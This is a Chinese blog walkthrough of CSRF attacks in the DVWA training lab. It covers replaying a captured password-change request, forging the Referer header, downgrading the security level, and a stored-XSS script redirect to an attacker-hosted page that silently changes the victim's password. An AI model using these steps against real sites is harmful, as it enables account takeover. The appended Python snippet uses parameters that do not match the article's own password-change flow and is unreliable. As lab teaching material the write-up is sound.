CSRF跨站请求伪造(DVWA演示)

本文深入解析CSRF(跨站请求伪造)攻击原理,演示不同难度级别的攻击过程,结合DVWA平台进行实操,并探讨CSRF与XSS的区别及结合应用。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

CSRF

(Cross-site request forgery)跨站请求伪造,也被称为"One Click Attack"或者Session Riding,通常缩写为CSRF或者XSRF。
跨站请求伪造是指利用受害者尚未失效的身份认证信息(cookie,会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害人的身份向(身份认证信息时所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。

流程图
在这里插入图片描述

CSRF和XSS的区别
csrf属于业务逻辑漏洞,在服务器看来,所有的请求都是合法正常的。
XSS,SQL注入等等都是属于技术漏洞。
XSS:客户信任服务器
CSRF:服务器信任客户(经过身份验证的)

攻击前提:
1.用户必须登录
2.黑客必须懂得一些发包请求
3.服务器端是不会有二次认证的
4.被害者是不知情的

本次实验结合DVWA平台实验

一共4种初,中,高,结合XSS
这次实验四台机器,黑客两台:一台win10黑客机,一台kali。一台winxp服务器,一台win7用户机。

初级low

源代码
在这里插入图片描述

用户端登陆
在这里插入图片描述
然后选择low,黑客端和用户端要保持一样的级别才行
在这里插入图片描述

黑客端登陆

在这里插入图片描述

在这里插入图片描述
输入想要修改的密码,输入两次
在这里插入图片描述
burpsuite抓包在这里插入图片描述
复制黄色这段url然后DROP丢弃

在这里插入图片描述
用户端在网址中服务器ip后加上抓抓到的url 然后回车
相当于这个url是黑客用户的一个链接,有时候我们网页上会跳出的一些链接或者图片之类的,点进去后就是这样的效果
在这里插入图片描述
进去后就发现密码已被修改
在这里插入图片描述
然后用我们的修改后的123登陆发现登陆成功

中级

源代码
代码中要求用固定SERVER_NAME,也就是服务器IP要确定
在这里插入图片描述
用户登陆,选择中级在这里插入图片描述
黑客端选择中级后,修改密码,抓包,
在这里插入图片描述

把host也就是服务器地址放在referer后,修改好放过
在这里插入图片描述
另一边给一个虚假网址就是和初级一样,包里的url添加到ip后面
然后发现用户这边登陆密码变为了9999

在这里插入图片描述

高级

源代码
在这里插入图片描述
一样的步骤然后抓包,将high改为low
在这里插入图片描述

然后放过
在这里插入图片描述
用户端登陆ip加抓包的url

密码已被修改

在这里插入图片描述

存储型XSS结合CSRF

单凭CSRF一种很容易被察觉,然后将XSS结合CSRF后就变得强大很多,特别是存储型XSS

随意输入想修改的密码,我这里为123
在这里插入图片描述

抓包,
复制框内的url,然后drop放过
在这里插入图片描述
在kali写一个html脚本

在这里插入图片描述
给予权限777

在这里插入图片描述

在存储型语局中加入

<script>window.location="http://192.168.10.129/test.html"</script>

这是一个重定向脚本语句,将页面跳转至kali中的html文件

在这里插入图片描述

如果用户无意中点到一个由黑客制作的网页,那么
自动跳转至脚本的404页面

在这里插入图片描述
在用户以为是正常的一种网络错误时,密码已被修改
重新登陆发现密码已经改为123

在这里插入图片描述
因此我们平时遇见陌生链接的时候千万不要乱点

### 关于DVWA中的CSRF漏洞 在Web应用程序安全性测试中,DVWA(Damn Vulnerable Web Application)是一个常用的平台用于学习和实践各种类型的Web漏洞。对于跨站请求伪造(CSRF)漏洞,在DVWA环境中提供了不同难度级别的实验场景来帮助理解这一类攻击向量的工作原理[^3]。 当涉及到具体实现时,CSRF攻击通常发生在用户登录到受信任网站之后,攻击者通过诱导受害者点击特制链接或者访问恶意页面的方式,使得受害者的浏览器自动发送已认证过的HTTP请求给目标站点,而无需用户的同意或知晓。为了演示这一点,在DVWA应用里会展示如何构造这样的恶意URL以及可能造成的后果。 此外,值得注意的是,虽然上述提到的内容主要集中在理论层面和技术细节上,但在实际操作过程中还需要考虑防御措施的有效性和绕过方法的研究。例如,可以通过设置强效的Anti-CSRF Token机制来防止此类攻击的发生;而在某些情况下,则要探索这些防护手段中存在的弱点并加以改进。 ```python # 这是一段模拟提交表单数据的Python代码片段, # 它可以用来测试DVWA低级别的CSRF保护功能。 import requests url = 'http://localhost/DVWA/vulnerabilities/csrf/' data = {'change_email': '', 'email_new': '[email protected]', 'Submit': ''} headers = { 'Cookie': 'security=low; PHPSESSID=<your_session_id_here>' } response = requests.post(url, data=data, headers=headers) print(response.text) ```
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值